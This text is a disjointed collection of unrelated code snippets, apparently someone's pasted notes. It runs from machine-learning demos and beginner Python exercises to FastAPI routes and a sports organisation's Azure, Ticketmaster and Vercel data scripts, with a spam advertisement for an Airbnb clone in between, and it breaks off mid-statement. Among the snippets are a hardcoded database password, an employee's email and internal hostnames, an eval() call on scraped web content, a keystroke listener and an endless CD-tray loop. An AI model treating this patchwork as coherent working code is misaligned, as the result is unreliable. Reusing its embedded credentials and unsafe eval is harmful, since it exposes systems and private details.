rmse = np.sqrt(mean_squared_error(y_test, y_pred)) 
print("Mean Absolute Error (MAE):", mae) 
print("Root Mean Squared Error (RMSE):", rmse)

import pandas as pd 
# Load the dataset 
df = pd.read_csv('Fish.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import LabelEncoder 
# Encode the target variable if it's categorical 
label_encoder = LabelEncoder() 
df['Species'] = label_encoder.fit_transform(df['Species']) 
# Separate the features and target variable 
X = df.drop(columns=['Species']) 
y = df['Species'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.svm import SVC 
from sklearn.feature_selection import RFE 
# Initialize the classifier and RFE 
svc = SVC(kernel="linear", random_state=42) 
rfe = RFE(estimator=svc, n_features_to_select=3)  # Choose 3 features for demonstrate on 
# Fit RFE 
rfe.fit(X_train_scaled, y_train) 
# Print the ranking of features 
print("Feature ranking (1 indicates selected features):", rfe.ranking_) 
print("Selected features:", X.columns[rfe.support_]) 
from sklearn.metrics import accuracy_score, classification_report 
# Select the features indicated by RFE 
X_train_rfe = X_train_scaled[:, rfe.support_] 
X_test_rfe = X_test_scaled[:, rfe.support_] 
# Train the classifier on the selected features 
svc.fit(X_train_rfe, y_train) 
# Make predictions and evaluate performance 
y_pred = svc.predict(X_test_rfe) 
print("Accuracy:", accuracy_score(y_test, y_pred)) 
print("Classification Report:\n", classification_report(y_test, y_pred)) 

import pandas as pd 
# Load the dataset 
df = pd.read_csv('petrol_consumption.csv') 
# Display basic information about the dataset 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.preprocessing import StandardScaler 
# Separate the features and target variable if there's one 
X = df.drop(columns=['Petrol_Consumption'])  # Assuming 'Petrol_Consumption' is the target variable 
y = df['Petrol_Consumption'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
from sklearn.decomposition import PCA 
# Apply PCA 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Check the explained variance 
print("Explained variance by each component:", pca.explained_variance_ratio_) 
print("Cumulative explained variance:", pca.explained_variance_ratio_.cumsum())

%env PROJ_DATA=/network/rit/lab/snowclus/miniforge3/envs/jan24_env/share/proj

import base64

sample_string = "GeeksForGeeks is the best"
sample_string_bytes = sample_string.encode("ascii")

base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")

print(f"Encoded string: {base64_string}")

pattrens = [
    '123456',
    '6665522',
    '887799',
    '123456',
    '6665522',
    '1111222',
    '123456',
    '6665522',
    '887799',
    '123456',
    '111111'
]


def classify_pattrens(pattrens_list):
    labels = {k : [] for k in pattrens_list}
    for pattren in pattrens_list:
        labels[pattren].append(pattren)

    return labels

print(classify_pattrens(pattrens))

from yattag import Doc

import webbrowser

doc, tag, text = Doc().tagtext()

doc.asis('<!DOCTYPE html>')

with tag('html') as html:
    with tag('head') as head:
        with tag('title') as title:
            text('This is test web page')
    with tag('body') as body:
        with tag('h2') as h2:
            text('This is h2')

page = doc.getvalue()

f = open('page.html', 'w')
f.write(page)
f.close()

webbrowser.open('page.html')

n = int(input())
k = int(input())
print((n >> k) << k)

a = int(input())
k = int(input())
print(a | (1 << k))

n = int(input())
value = 1
b = False
while value < n:
    value *= 2
if value == n:
    b = True
if b:
    print("YES")
else:
    print("NO")

k = 6
n = 5
res = (1 << k) + (1 << n)
print(res)

integers = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}

evens = {0, 2, 4, 6, 8}
odds = {1, 3, 5, 7, 9}

#check for subsets
print(integers.issubset(integers)) #it is a subset of itself
print(evens.issubset(integers)) #True
print(odds.issubset(integers)) #True

>>> import jmespath
>>> path = jmespath.search('foo.bar', {'foo': {'bar': 'baz'}})
'baz'

import threading
import queue
import time

def read_kbd_input(inputQueue):
    print('Ready for keyboard input:')
    while (True):
        input_str = input()
        inputQueue.put(input_str)

def main():
    EXIT_COMMAND = "exit"
    inputQueue = queue.Queue()

    inputThread = threading.Thread(target=read_kbd_input, args=(inputQueue,), daemon=True)
    inputThread.start()

    while (True):
        if (inputQueue.qsize() > 0):
            input_str = inputQueue.get()
            print("input_str = {}".format(input_str))

            if (input_str == EXIT_COMMAND):
                print("Exiting serial terminal.")
                break
            
            # Insert your code here to do whatever you want with the input_str.

        # The rest of your program goes here.

        time.sleep(0.01) 
    print("End.")

if (__name__ == '__main__'): 
    main()

import serial
import time

# Set up the serial connection to the SIM800 module
ser = serial.Serial('/dev/serial0', baudrate=9600, timeout=1)

def send_at_command(command, delay=1):
    """Send an AT command to the SIM800 module."""
    ser.write((command + '\r').encode())
    time.sleep(delay)
    reply = ser.read(ser.inWaiting()).decode()
    return reply

# Enable GPS
send_at_command("AT+CGNSPWR=1")

# Check GPS status (optional)
gps_status = send_at_command("AT+CGNSPWR?")
print("GPS Status: ", gps_status)

# Get the GPS location
location_data = send_at_command("AT+CGNSINF", delay=2)
print("Location Data: ", location_data)

ser.close()

import dataclasses


@dataclasses.dataclass()
class Parent:
    def __post_init__(self):
        for (name, field_type) in self.__annotations__.items():
            if not isinstance(self.__dict__[name], field_type):
                current_type = type(self.__dict__[name])
                raise TypeError(f"The field `{name}` was assigned by `{current_type}` instead of `{field_type}`")

        print("Check is passed successfully")


@dataclasses.dataclass()
class MyClass(Parent):
    value: str


obj1 = MyClass(value="1")
obj2 = MyClass(value=1)

import bpy

class MI_PANEL(bpy.types.Panel):
    bl_label = "Mi Panel"
    bl_idname = "OBJECT_PT_mi_panel"
    bl_space_type = 'VIEW_3D'
    bl_region_type = 'UI'
    bl_category = 'Mi Addon'

    def draw(self, context):
        layout = self.layout

def register():
    bpy.utils.register_class(MI_PANEL)

def unregister():
    bpy.utils.unregister_class(MI_PANEL)

if __name__ == "__main__":
    register()

import time
import pygame
import pendulum

def alarm():
    pygame.mixer.init()
    pygame.mixer.music.load('alarm.mp3')
    pygame.mixer.music.play()

    while pygame.mixer.music.get_busy():
        time.sleep(1)


def set_alarm(target_time):
    while True:
        dt = pendulum.now()
        current_time = dt.strftime('%I:%M:%S %p')
        print(current_time, target_time)
        time.sleep(1)
        if current_time == target_time:
            break


target_time = '07:09:00 PM'
set_alarm(target_time)
alarm()

pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U

import pendulum

current_date = pendulum.now().date()
uploaded_date = pendulum.date(2018, 8, 1)

diff_days = current_date.diff(uploaded_date).in_days()

print(current_date.subtract(days = diff_days).diff_for_humans()) # 6 years ago

import pendulum

try:
    print(pendulum.parse('{:0>2}-{:0>2}-{:0>2}'.format(2024, 9, 21)))
except Exception as e:
    print(e)

from pynput.keyboard import Listener

def on_press(key):
    print(str(key))


with Listener(on_press = on_press) as l:
    l.join()

import random

number = random.randint(1, 6)

guess = 0

while guess != number:
    guess = int(input('Number : '))
    if guess == number:
        print('You won ;)')

import random

def guess_the_number():
    number_to_guess = random.randint(1, 100)
    attempts = 0
    while True:
        guess = int(input("Guess the number (1-100): "))
        attempts += 1
        if guess < number_to_guess:
            print("Too low!")
        elif guess > number_to_guess:
            print("Too high!")
        else:
            print(f"Congratulations! You guessed the number in {attempts} attempts.")
            break

guess_the_number()

#Sort a list without using sort()
def sort_list(nums):
    sorted_list = []
    while nums:
        minimum = min(nums)
        sorted_list.append(minimum)
        nums.remove(minimum)
    return sorted_list

numbers = [5, 3, 8, 2, 7]
sorted_numbers = sort_list(numbers)
print(f"Sorted list: {sorted_numbers}")

numbers = [5, 3, 8, 2, 7]

# Find max and min
max_number = max(numbers)
min_number = min(numbers)

print(f"Max: {max_number}, Min: {min_number}")

grades = {}

# Add student grades
grades["Emily"] = 88
grades["James"] = 76
grades["Olivia"] = 92

# Print all students and their grades
for student, grade in grades.items():
    print(f"{student}: {grade}")

# Create a dictionary - paired values
student_grades = {
    "Alice": 90,
    "Bob": 85,
    "Charlie": 92
}

# Access and modify
print(student_grades["Alice"])
student_grades["Bob"] = 88  # Update Bob's grade

# Add a new entry
student_grades["Dave"] = 95

print(student_grades)

favorite_movies = []

# Add movies
favorite_movies.append("The Godfather")
favorite_movies.append("Pulp Fiction")

# Remove a movie
favorite_movies.remove("Pulp Fiction")

# Print the list
print(f"My favorite movies: {favorite_movies}")

# Lists
movies = ["Inception", "The Matrix", "Interstellar"]
movies.append("The Shawshank Redemption")
movies.remove("The Matrix")

# Access elements
print(movies[0])  # First element

# Tuples (immutable)
dimensions = (1920, 1080)
print(dimensions[1])  # Access element

def multiply_numbers(x, y):
    return x * y

num1 = int(input("Enter first number: "))
num2 = int(input("Enter second number: "))

result = multiply_numbers(num1, num2)
print(f"The product of {num1} and {num2} is {result}.")

def multiply(a, b):
    return a * b

result = multiply(5, 4)
print(f"Multiplication result: {result}")

a = 5
b = 4
def multiply():
    return a * b
print(multiply())

# Using a while loop
sum_numbers = 0
num = 1

while num <= 100:
    sum_numbers += num
    num += 1

print(f"Sum of numbers 1 to 100: {sum_numbers}")

for i in range(1, 10):
    print(i)

for i in range(10):
    print(i)

age = int(input("Enter your age: "))

if age < 13:
    print("You are a child.")
elif 13 <= age < 20:
    print("You are a teenager.")
elif 20 <= age < 60:
    print("You are an adult.")
else:
    print("You are a senior.")

age = int(input("Enter your age: "))

if age < 18:

    print("You are a minor.")
elif 18 <= age < 65:
    print("You are an adult.")
else:
    print("You are a senior citizen.")

#Basic operators: + - * / // % **
a = 10
b = 3

addition = a + b
subtraction = a - b
multiplication = a * b
division = a / b
floor_division = a // b
modulus = a % b
exponentiation = a ** b

print(addition, subtraction, multiplication, division, floor_division, modulus, exponentiation)

name = input("Enter your name: ")
age = int(input("Enter your age: "))
print(f"Hello, {name}! You are {age} years old.")

# Create variables
username = "JohnDoe"
user_age = 25
balance = 150.75
is_member = False

# Manipulate and print variables
new_balance = balance + 100
print (f"Username: {username}, Age: {user_age}")
print (f"Hi {username} you are {user_age} and your balance is {new_balance}")

# Create variables
username = "JohnDoe"
user_age = 25
balance = 150.75
is_member = False

# Manipulate and print variables
new_balance = balance + 100

print("Username:", username)
print("Age:", user_age)
print("New Balance:", new_balance)
print("Is Member:", is_member)

# Create variables
userfirstname = "John"
userlastname = "Doe"
user_age = 25

print(username, user_age)
print(userfirstname + userlastname) #concatenate
print("Hello " + userfirstname + " " + userlastname) #concatenate with spaces

# Variables
name = "Alice"        # String
age = 30              # Integer
height = 5.7          # Float
is_student = True     # Boolean

# Print variable values
print(name)
print(age)
print(height)
print(is_student)

print("Hello, World!")

import clickhouse_connect

client = clickhouse_connect.get_client(host='localhost', username='default', password='atlife789')

def execute_query(client,trans_query):
    try:
        data = client.query(trans_query)
        dataset = pd.DataFrame(data.result_rows,columns=data.column_names)
        return dataset
    except Exception as e:
        print(f'Erron on executing the query as {e}.')
        return pd.DataFrame()

import ctypes
from ctypes import wintypes
 
# Definition der winmm.dll Funktionen
winmm = ctypes.WinDLL('winmm')
 
# Definieren der mciSendString Funktion
mciSendString = winmm.mciSendStringW
mciSendString.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.UINT, wintypes.HWND]
mciSendString.restype = wintypes.UINT
 
def main():
    while True:
        # Befehl zum Öffnen der CD
        mciSendString("open d: type cdaudio alias mycd", None, 0, None)
        # Befehl zum Öffnen des CD-Laufwerks
        mciSendString("set mycd door open", None, 0, None)
 
if __name__ == "__main__":
    main()

# main.py

from fastapi import FastAPI
from routes.tasks import tasks_route

app = FastAPI()

app.include_router(tasks_route)

-------------------------

# routes > tasks.py

from fastapi import APIRouter

tasks_route = APIRouter()

@tasks_route.get('/tasks')
def get_tasks():
  return {'tasks': []}

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field
from uuid import UUID, uuid4

class Task(BaseModel):
    id : UUID = Field(default_factory = uuid4)
    name : str
    description : str
    done: bool = False

tasks_db = []

def find_task(_id):
    for idx, task in enumerate(tasks_db):
        if task.id == _id:
            return idx, task

app = FastAPI()

@app.get('/')
def index():
    return {'msg': 'hello, world'}

# Add new task to database
@app.put('/add_task')
def add_task(task : Task):
    tasks_db.append(task)

    return {'msg': 'Task created', 'task': task}

# Get all tasks from database
@app.get('/tasks')
def get_tasks():
    return {'tasks': tasks_db}

# Get one task by id
@app.get('/task/{_id}')
def get_task(_id: UUID):
    task = find_task(_id)[1]
    if task:
        return {'task': task}
    
    
    return HTTPException(status_code = 404, detail = 'This task is not found :(')

# Update task by id
@app.put('/update_task/{_id}')
def update_task(_id : UUID, updatedtask : Task):
    task = find_task(_id)
    if task:
        task_idx = task[0]
        tasks_db[task_idx] = updatedtask
        return {'msg': 'Task updated', 'task': updatedtask}
    
    return HTTPException(status_code = 404, detail = 'This task is not found :(')

# Delete task
@app.delete('/delete_task/{_id}')
def delete_task(_id : UUID):
    task = find_task(_id)[1]
    tasks_db.remove(task)

    return {'msg': f'task {task.name} deleted ;)'}

import pendulum

items = [
    {'name': 'Milk', 'expire_date': '2024-09-15'},
    {'name': 'Bread', 'expire_date': '2024-09-18'},
    {'name': 'Yogurt', 'expire_date': '2024-09-25'},
]

def check_expire_date(items):
    for item in items:
        expire_date = pendulum.parse(item.get('expire_date'))
        cuurent_date = pendulum.now()

        if expire_date <= cuurent_date:
            print(f' {item.get('name')} expired')


check_expire_date(items=items)

<!-- QuillJS CDN -->
<link href="https://cdn.quilljs.com/1.3.6/quill.snow.css" rel="stylesheet">
<script src="https://cdn.quilljs.com/1.3.6/quill.min.js"></script>

<!-- Quill Image Resize Module CDN -->
<script src="https://cdn.jsdelivr.net/npm/quill-image-resize-module@3.0.0/image-resize.min.js"></script>

<!-- Quill Editor Container -->
<div id="quill-editor-container" style="height: 500px; border: 1px solid #ddd;"></div>

<script>
  // Add the ImageResize module to Quill
  Quill.register('modules/imageResize', ImageResize);

  // Initialize Quill with the image resize module
  var quill = new Quill('#quill-editor-container', {
    theme: 'snow',
    modules: {
      toolbar: {
        container: [
          [{ 'font': [] }, { 'header': [1, 2, 3, 4, 5, 6, false] }],
          ['bold', 'italic', 'underline', 'strike'],
          [{ 'list': 'ordered' }, { 'list': 'bullet' }],
          ['link', 'image', 'video'],
          [{ 'align': [] }],
          ['clean']
        ],
        handlers: {
          // Custom image handler to embed via URL
          image: function() {
            const imageUrl = prompt('Enter the image URL');
            if (imageUrl) {
              const range = this.quill.getSelection();
              this.quill.insertEmbed(range.index, 'image', imageUrl);
            }
          }
        }
      },
      imageResize: {}  // Enable image resizing module
    }
  });
</script>

<!-- Styles for Editor -->
<style>
  #quill-editor-container {
    height: 500px;
    width: 100%;  /* Set to 100% width */
    max-width: 1200px;  /* Optionally, limit the max width */
    padding: 10px;
    border: 1px solid #ddd;
  }
</style>

def lines_that_equal(line_to_match, fp):
    return [line for line in fp if line == line_to_match]

def lines_that_contain(string, fp):
    return [line for line in fp if string in line]

def lines_that_start_with(string, fp):
    return [line for line in fp if line.startswith(string)]

def lines_that_end_with(string, fp):
    return [line for line in fp if line.endswith(string)]

def uploadData(sheet, email, sheet_name):
    if sheet_name == "2.BaseData":
        data = []
        headers = [cell.value for cell in sheet[1]]

        for row in sheet.iter_rows(min_row=2):
            row_data = {
                headers[i]: cell.value
                for i, cell in enumerate(row)
                if cell.value is not None
            }
            if row_data:  # Only append if row_data is not empty
                row_data = trim_dict_spaces(row_data)
                data.append(row_data)

        print(data)

        # If socio_econ_vulnerability_collection expects each row to be uploaded individually

        for row in data:
            socio_econ_vulnerability_collection.add(row)

        return data

from math import*
  
x = [1,2,3]

import pip

import random
names = [
    "黄彦祯",
    "陈子睿",
    "杨芷涵",
    "李若璇",
    "麦家俊",
    "蔡培钧",
    "李泽丰",
    # "陈蓬宇",
    "郭芃泽"
    ]
    
random.shuffle(names)

for idx, name in enumerate(names):
    end_symb = " " if idx%2==0 else " | "
    print(f"{name}", end=end_symb)
    

from faker import Faker
from SmileyDB3 import SmileyDB3
from random import randint

import webbrowser

f = Faker()
db = SmileyDB3('mydb.db')

users = db.table('users')

for i in range(20):
    users.Insert(data={
        'name': f.name(),
        'email': f.email(),
        'age': randint(20, 40)
    })

users.convert().to_html('out.html')

webbrowser.open('out.html')

import sqlite3

db = sqlite3.connect('mydb.db')
cur = db.cursor()

# create users table
cur.execute('CREATE TABLE IF NOT EXISTS users (name str, image blob)')

# insert new user in users table
cur.execute(
    'INSERT INTO users (name, image) VALUES (?, ?)', 
    ('USER-123', open('smile.png', 'rb').read())
)

db.commit()

import customtkinter as ctk

root = ctk.CTk()
root.geometry('200x200')

led_on = '#4cff66'
led_off = '#1e3c22'

led = ctk.CTkLabel(root, text='\t', width=50, bg_color=led_off)
led.place(x = 80, y = 80)

def off_on():
    if led._bg_color == led_off:
        led.configure(bg_color = led_on)
        led.update()
        return
    
    if led._bg_color == led_on:
        led.configure(bg_color = led_off)
        led.update()
        return


bt = ctk.CTkButton(root, text = 'OFF/ON', command=off_on, width=70)
bt.place(x = 80, y = 150)

root.mainloop()

from faker import Faker
from random import randint

f = Faker()

data = {'name': 'Barry Long', 'email': 'tammy28@example.com', 'age': 20}

# Generate data from this 
def Generate_like_this(data : dict, f : Faker):
    result = {}

    funcs = {
        'name': f.name,
        'email': f.email
    }

    for k in data:

        if k in funcs:
            result[k] = funcs[k]()

        if isinstance(data[k], int):
            result[k] = randint(1, data[k])
        
    
    return result

print(Generate_like_this(data = data, f = Faker()))

Embark on a lucrative journey with our turnkey vacation rental business – your golden ticket to making money while providing unforgettable travel experiences! Just like Airbnb, We at Appticz develop a vacation rental business that empowers you to transform your property into a revenue-generating oasis. Imagine waking up to a stream of bookings and delighted guests, all while enjoying the financial rewards of the booming vacation rental market. Get a free airbnb clone business quotation.
https://appticz.com/airbnb-clone

python main.py

pip install -r requirements.txt

python -m venv venv
source venv/bin/activate  # On Windows, use `venv\Scripts\activate`

git clone https://github.com/choppystick/PyDoku.git
cd sudoku-game

pip install -r requirements.txt

git clone https://github.com/choppystick/py-sudoku-solver.git
cd sudoku-solver-lp

git clone https://github.com/choppystick/py-sudoku-solver.git
cd sudoku-solver-lp

python sudoku_solver.py

print("She said: \"Hello\" and then left.")

pip install --force-reinstall pyqt5

pip install --force-reinstall pyqt6

import requests
import json
import sys
sys.path.append('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools')
import EnvVars
from EnvVars import env_vars_dict


apigeeKey = env_vars_dict['tm']['apiKey']
eventName = '23COPAST'
startDateTime = '2023-07-26 12:00'

url = "https://app.ticketmaster.com/sth-buy/ticketing_services.aspx?dsn=texans"

payload = {
  "header":{
    "src_sys_type":2,"ver":1
    ,"src_sys_name":"test"
    ,"archtics_version":"V999"
    },
  "command1":{
    "cmd":"get_attendance_incremental"
    ,"start_datetime":startDateTime
    ,"uid":"texans64"
    ,"dsn":"texans"
    ,"event_name":eventName
    }
  }

headers = {
  'apikey': apigeeKey, 
  'Content-Type': 'application/json',
  'Connection': 'keep-alive'
}

response = requests.post( url, headers=headers , json=payload)
data = response.json()
data

from datetime import datetime as dt , timedelta
print(len(os.listdir(processed_tm_sftp_files_root_dir)))

for f_dir in os.listdir(processed_tm_sftp_files_root_dir):
  folder_path = f"{processed_tm_sftp_files_root_dir}\{f_dir}"
  folder_date = f_dir.replace('texans_texans_texans_','').split('_')[0][:8]

  folder_date = dt.strptime(folder_date,'%Y%m%d')

  if folder_date < dt.today() - timedelta(days=120):

    for f in os.listdir(folder_path):
      file_path = f"{folder_path}\{f}"
      if os.path.isfile(file_path):
        os.remove(file_path)
        print(f"Deleted file: {file_path}")

import sys 
sys.path.append ('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools/') 

import EnvVars
from EnvVars import *

dev_credentials = env_vars_dict['azure_storage_dev']

from azure.storage.blob import BlobServiceClient , BlobClient

# Replace the following variables with your Azure Storage account and container information
storage_account_name = dev_credentials['accountName']
storage_account_key = dev_credentials['secretValue']
container_name = "raw"
directory_name = "PSL/"  # Leave empty to list files from the root of the container

mount_name = 'PSL'
directory_path = 'PSL'


dbutils.fs.mount(
  source=f"wasbs://{container_name}@{storage_account_name}.blob.core.windows.net/{directory_path}",
  mount_point=f"/mnt/azure_storage/{mount_name}",
  extra_configs={
    f"fs.azure.account.key.{storage_account_name}.blob.core.windows.net": storage_account_key
  }
)

# List all mount points
mounts = dbutils.fs.mounts()

## Date Formatting 

#### Sql
```sql
date_format(dt_obj, 'yyyy-MM-dd hh:mm:ss a') 
```

#### Python
```python
dt_obj.strftime("%-m-%d-%Y %-I:%M%p")
```
---

qry = """
SELECT COUNT(*) CNT , 'eloqua_contact' AS tbl
FROM reporting.eloqua_contact
UNION 
SELECT COUNT(*) CNT , 'eloqua_form' AS tbl
FROM reporting.eloqua_form
UNION 
SELECT COUNT(*) CNT , 'eloqua_form_submission' AS tbl
FROM reporting.eloqua_form_submission
UNION
SELECT COUNT(*) CNT , 'eloqua_system_preference_center' AS tbl
FROM reporting.eloqua_system_preference_center
UNION
SELECT COUNT(*) CNT , 'eloqua_system_sms_preference_center' AS tbl
FROM reporting.eloqua_system_sms_preference_center
UNION 
SELECT COUNT(*) CNT , 'eloqua_system_preference_center_toro_s_kids_club' AS tbl
FROM reporting.eloqua_system_preference_center_toro_s_kids_club
UNION
SELECT COUNT(*) CNT , 'eloqua_system_preference_center_historic' AS tbl
FROM reporting.eloqua_system_preference_center_historic
UNION
SELECT COUNT(*) CNT , 'eloqua_system_bi_prospect_scores' AS tbl
FROM reporting.eloqua_system_bi_prospect_scores

"""

# Get Pre Run Cnts
pre_run_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", qry)\
      .option("fetchSize", 35000)\
      .load()
 
# write data from dbrix to azure
prod_dbrix_to_azure('eloqua.contact','reporting.eloqua_contact')
prod_dbrix_to_azure('eloqua.form','reporting.eloqua_form')
prod_dbrix_to_azure('eloqua.form_submission','reporting.eloqua_form_submission')
prod_dbrix_to_azure('eloqua.system_preference_center','reporting.eloqua_system_preference_center')
prod_dbrix_to_azure('eloqua.system_sms_preference_center','reporting.eloqua_system_sms_preference_center')
prod_dbrix_to_azure('eloqua.system_preference_center_toro_s_kids_club','reporting.eloqua_system_preference_center_toro_s_kids_club')
prod_dbrix_to_azure('eloqua.system_preference_center_historic','reporting.eloqua_system_preference_center_historic')
prod_dbrix_to_azure('eloqua.system_bi_prospect_scores','reporting.eloqua_system_bi_prospect_scores')

# Get Post Run Cnts
post_run_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", qry)\
      .option("fetchSize", 35000)\
      .load()
      
# Compare Pre and Post Run Df 
pre_post_cnts_df = pre_run_df.join(post_run_df, on='tbl', how='inner').select(pre_run_df.tbl ,  pre_run_df.CNT.alias('pre_run_cnt'), post_run_df.CNT.alias('post_run_cnt'))
pre_post_cnts_df.display()

import sys 
sys.path.append ('/Workspace/Users/khoa.nguyen@houstontexans.com/production_jobs/Data_Ops_Tools/')
from DataOpsMainFunctions import prod_azure_to_dbrix, prod_dbrix_to_azure , prodProperties

query_azure_db_df = spark.read.format("sqlserver")\
      .option("host", "sqls-houstontexans-db-01.database.windows.net")\
      .option("user", prodProperties['user']).option("password", prodProperties['password'])\
      .option("database","sqls-houstontexans")\
      .option("query", "SELECT * FROM reporting.db_data_catalogue WHERE table_schema='survey_monkey'")\
      .option("fetchSize", 35000)\
      .load()
query_azure_db_df.display()

def find_type_of_research(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'eyebrow'}):
        return soup.find_all('lbj-title', attrs = {'variant':'eyebrow'})[0].text.strip()
    else:
        return np.nan

def find_title(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'heading-1'}):
        return soup.find_all('lbj-title', attrs = {'variant':'heading-1'})[0].text.strip()
    if soup.find_all('h1', attrs = {'class':'title heading-1'}):
        return soup.find_all('h1', attrs = {'class':'title heading-1'})[0].text.strip()
    return np.nan

def find_subtitle(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'subtitle'}):
        return soup.find_all('lbj-title', attrs = {'variant':'subtitle'})[0].text.strip()

def find_authors(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'paragraph'}):
        author_code = soup.find_all('lbj-title', attrs = {'variant':'paragraph'})[0]
        # find every lbj-link
        authors = author_code.find_all('lbj-link')
        authors = [author.text.strip() for author in authors]
        authors_str =  ', '.join(authors)
        return authors_str
    return np.nan

def find_date(soup):
    if soup.find_all('lbj-title', attrs = {'variant':'date'}):
        date_code = soup.find_all('lbj-title', attrs = {'variant':'date'})[0]
        date = date_code.find_all('time')[0].text.strip()
        return date
    return np.nan

def find_report_link(soup):
    if soup.find_all('lbj-button'):
        return soup.find_all('lbj-button')[0].get('href')
    return np.nan

def find_tags(soup):
    if soup.find_all('lbj-link', attrs = {'variant':'tag'}):
        tags = soup.find_all('lbj-link', attrs = {'variant':'tag'})
        print(tags)

def find_data_json(soup):
    # get the javascript code
    script = soup.find_all('script', attrs = {'type':'text/javascript'})

    # found the json after dataLayer_tags
    pattern = 'dataLayer_tags = (.+);'
    for s in script:
        if re.search(pattern, str(s)):
            info_json = re.search(pattern, str(s)).group(1)
            # transform it into a dictionary
            info = eval(info_json)['urban_page']
            publish_date = info.get('publish_date')
            title = info.get('urban_title')
            research_area = info.get('research_area')
            authors = info.get('authors')
            publication_type = info.get('publication_type')
            eyebrow = info.get('eyebrow')
            tags = info.get('tags')
            
            return publish_date, title, research_area, authors, publication_type, eyebrow, tags, info_json
    return np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan, np.nan

df_links = pd.read_csv('urban_links.csv')
df_links_details = df_links.copy()

for i in range(len(df_links)):
    URL = "https://www.urban.org/" + df_links['link'][i]
    print(URL)
    r = requests.get(URL)
    soup = BeautifulSoup(r.content, 'html5lib')
    report_link = find_report_link(soup)
    publish_date, title, research_area, authors, publication_type, eyebrow, tags, info_json = find_data_json(soup)
    
    df_links_details.loc[i, 'eyebrow'] = eyebrow
    df_links_details.loc[i, 'title'] = title
    df_links_details.loc[i, 'authors'] = authors
    df_links_details.loc[i, 'date'] = publish_date
    df_links_details.loc[i, 'research_area'] = research_area
    df_links_details.loc[i, 'publication_type'] = publication_type
    df_links_details.loc[i, 'tags'] = tags
    df_links_details.loc[i, 'info_json'] = info_json
    df_links_details.loc[i, 'report_link'] = report_link
    
    print(publish_date, title, research_area, authors, publication_type, eyebrow, tags, report_link)
    
    if i % 200 == 0:
        df_links_details.to_csv('urban_links_details.csv', index = False)

df_links = []

PAGE_NUM = 281

for page in range(1, PAGE_NUM):
    URL = f"https://www.urban.org/research?page={page}"
    r = requests.get(URL) 
    soup = BeautifulSoup(r.content, 'html5lib')
    articles = soup.find_all('li', attrs = {'class':'mb-16 md:col-span-2 mb-8 sm:mb-0'})
    for article in articles:
        pattern = 'href="(.+?)"'
        if re.search(pattern, str(article)):
            df_links.append([page, re.search(pattern, str(article)).group(1)])
    print(f'Page {page} done')

df_links = pd.DataFrame(df_links, columns = ['page', 'link'])
df_links.to_csv('urban_links.csv', index = False)

from pydantic import BaseModel, Field
from uuid import UUID, uuid4

class item(BaseModel):
    name : str
    price : float
    item_id : UUID = Field(default_factory = uuid4)


items = []

for i in range(3):
    items.append(item(name = 'test', price = 20))


print(items)

import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file.
load_dotenv()

'''
Step 1: Get all env variables.
'''

url_to_get_all_envs = (
    f"https://api.vercel.com/v9/projects/"
    f"{os.getenv('PROJECT_ID')}/env"
)
payload = {
    'decrypt': 'true',
    'slug': os.getenv('SLUG'),
    'source': 'vercel-cli:pull',
    'teamId': os.getenv('TEAM_ID')
}
headers = {
    'Authorization': f"Bearer {os.getenv('VERCEL_TOKEN')}",
    'Content-Type': 'application/json'
}

all_env_vars = requests.get(
    url_to_get_all_envs,
    params=payload,
    headers=headers
)

# Print the response in a safe environment if required.
all_env_vars = all_env_vars.json()['envs']


# Delete items which are not required for update endpoint from payload.
del payload['decrypt']
del payload['source']


for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = (
            f"https://api.vercel.com/v9/projects/"
            f"{os.getenv('PROJECT_ID')}/env/{env['id']}"
        )
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.

        '''
        Step 4: Recreate the variable with development target
        if it existed before updation in previous step.
        '''

        if 'development' in env['target']:
            data = {
                'key': env['key'],
                'target': ['development'],
                'type': 'encrypted',
                'value': decrypted_env['value']
            }

            data = json.dumps(data)
            url_to_create_env = (
                f"https://api.vercel.com/v9/projects/"
                f"{os.getenv('PROJECT_ID')}/env"
            )
            response = requests.post(
